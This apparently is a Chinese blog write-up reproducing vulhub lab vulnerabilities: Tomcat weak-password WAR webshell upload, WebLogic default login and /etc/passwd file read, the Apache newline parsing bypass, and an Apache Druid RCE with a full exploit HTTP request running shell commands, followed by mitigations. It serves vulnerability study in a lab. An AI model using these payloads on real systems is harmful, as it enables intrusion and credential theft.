目录
一、在vps安装docker和docker-compose
这里贴一下阿里云官方Docker安装教程，供参考：安装Docker并使用_云服务器 ECS(ECS)-阿里云帮助中心 (aliyun.com)
在阿里云创建ECS实例，使用Termius远程连接（或用XShell等工具都可以，看自己喜好）。
这里可直接点击实例名，在"定时与自动化任务"菜单栏下安装docker：
在Termius中输入以下命令，安装docker-compose：
yum -y install docker-compose # centos7安装成功，分别查看docker和docker-compose的版本：
注：配置阿里云的镜像加速器的命令如下。
sudo mkdir -p /etc/docker # 创建目录
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors":
[
"https://2eiq72ko.mirror.aliyuncs.com",
"https://docker.1panel.live",
"https://hub.rat.dev/",
"https://docker.chenby.cn",
"https://docker.m.daocloud.io",
"https://docker.anyhub.us.kg",
"https://dockerhub.jobcher.com",
"https://dockerhub.icu"
]
}
EOF # 修改JSON 配置
sudo systemctl daemon-reload # 重新加载systemd的配置文件
sudo systemctl restart docker # 重启docker二、vulhub中的漏洞复现
2.1 tomcat 弱口令/后台文件上传getshell
2.1.1 漏洞复现
下载vuihub-master，解压后进入~/vulhub-master/tomcat/tomcat8目录，启动tomcat。
docker-compose up -d
报错？解决方法：将docker-compose.yml中的版本从2改为2.1。
修改后保存，重新启动，成功！
此时理论上就可以通过公网IP:8080访问tomcat（tomcat默认端口8080）。我这里进不去，发现是端口冲突。于是再修改一下vi docker-compose.yml中的默认端口为8888：
重启一下，查看正在运行的进程，正常。
浏览器访问，成功。
点击“Manager APP"，输入账号和密码（均为弱口令tomcat），发现成功登录。
这样登的话就直接在后台上传war包从而直接getshell。
新建shell.jsp：
安装JDK：
yum install java-1.8.0-openjdk-devel #centos7
打包：
jar -cvf shell.war shell.jsp
SFTP把打包好的war包传回本机：
在“Manager APP"页面下方上传此war包：
访问上传..shell/shell.jsp，发现可访问。
打开蚁剑，添加数据，测试连接成功。
右键打开虚拟终端，获得服务器权限。
2.1.2 漏洞成因
Tomcat manager 登录界面存在弱口令漏洞（tomcat/tomcat），登录成功后有上传点，而压缩包 xxx.war的.war不会被解析，因此直接访问 xxx/里面的一句话路径，可直接拿到shell。
2.1.3 漏洞如何利用
msfconsole 中弱口令爆破，爆破成功后登录； 找到上传点，上传带有一句话jsp文件的名为xxx.war的包；访问 攻击ip地址/xxx/jsp文件路径，再用 webshell 连接工具进行连接。
2.2 weblogic 弱口令/任意文件读取
2.2.1 漏洞复现
切换到/vulhub-master/weblogic/weak_password路径后，启动。
浏览器打开【http://公网IP:7001/console/login/LoginForm.jsp】，使用默认账密weblogic/Oracle@123登录：
访问【http://公网IP:7001/hello/file.jsp?path=/etc/passwd】可成功读取passwd文件：
用Bp抓包SerializedSystemIni.dat和config.xml
http://公网IP:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
http://公网IP:7001/hello/file.jsp?path=config/config.xml
分别在响应信息中找到密钥，使用weblogic_decrypt.jar工具解密：
2.2.2 漏洞成因
-
存在弱口令。
-
WebLogic 的某些版本存在任意文件读取漏洞，攻击者可以通过未授权的方式读取服务器上的敏感文件。
2.3 apache换行解析
2.3.1 漏洞复现
切换到/vulhub-master/httpd/CVE-2017-15715启动靶场：
尝试了各种方法都访问不了，转战kali。
同样切换到/vulhub-master/httpd/CVE-2017-15715启动靶场：
浏览器访问IP:8080，成功：
编写php一句话木马做测试文件：
上传此文件，用BP拦截抓包，在文件名后添加一个\x0A，
切换到hex界面，右键0d选择插入一个字节0a：
放行数据包，发现返回页面没有显示bad file，状态码也是200，没有进行拦截。
访问刚上传的test.php%0a，发现能成功解析，但此文件不是php后缀，说明目标存在解析漏洞。
2.3.2 漏洞成因
Apache HTTPD的2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，【XX.php\x0A】将被按照php后缀进行解析，导致攻击者可能利用此漏洞绕过安全策略。
2.4 apache druid RCE
2.4.1 漏洞复现
搭建druid-0.20.0环境：
wget https://github.com/apache/druid/archive/druid-0.20.0.zip
apt install unzip #安装zip解压工具
unzip druid-0.20.0.zip切换目录，启动容器：
cd druid-0.20.0/distribution/docker
docker-compose up -d
访问IP:8888进入Druid console控制台界面，点击Load data —>Local disk：
设置：
● Base directory: quickstart/tutorial/
● File filter: wikiticker-2015-09-12-sampled.json.gz
在点击Apply前，打开BP拦截抓包。把POST请求包发送到Repeater：
修改为以下内容后发送：
POST /druid/indexer/v1/sampler HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}得到响应，服务器执行id命令。若想执行不同的命令，就替换一下就行。
2.4.2 漏洞成因
在某些Druid版本中，由于未对外部输入进行充分验证和过滤，攻击者可以通过构造恶意请求，利用Druid的某些功能执行任意JS代码，从而控制服务器。
三、RCE漏洞的原理、利用条件及解决方案
3.1 原理
RCE漏洞通常指的是，由于系统对用户输入的安全校验不严格，导致恶意代码被注入并执行。典型的RCE原理包括：
-
输入未过滤：系统或应用程序直接使用用户输入的内容执行命令，而没有对输入内容进行适当的过滤和验证。
-
代码注入：攻击者通过特制的输入，在执行过程中插入恶意代码，并使其与正常代码一起执行。
-
命令执行：如果程序直接调用系统命令（如shell脚本），并将用户输入作为命令参数，那么攻击者可以通过构造恶意参数来执行任意系统命令。
3.2 利用条件
-
存在可被利用的输入接口：应用程序接受并处理用户输入，并在处理过程中调用底层代码或系统命令。
-
缺乏有效的输入验证：程序没有严格过滤或验证用户输入，使得恶意代码可以进入程序的执行流。
-
存在可访问的漏洞点：攻击者需要能够访问到含有RCE漏洞的接口，通常是通过网络或其他远程连接方式。
3.3 解决方案
-
输入验证与过滤：对所有用户输入进行严格的过滤和验证，确保输入内容不会被直接用于执行命令或代码。可以使用白名单策略，确保只允许合法的输入格式。
-
使用参数化接口：避免将用户输入直接传递给命令执行函数，应该使用参数化的方法（如在数据库查询中使用预处理语句）来防止代码或命令注入。
-
最小权限原则：确保程序仅在必要的权限下运行，即便出现漏洞，攻击者也无法通过该漏洞获取更高的系统权限。
-
安全更新：及时更新系统和软件，修补已知的安全漏洞。很多RCE漏洞是在旧版本软件中存在的，通过升级可以避免这些问题。
-
隔离与沙箱：将敏感操作或用户输入部分放置在隔离的环境中（如容器或沙箱），即使发生RCE，也能将影响控制在较小范围内。
扫一扫
957
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
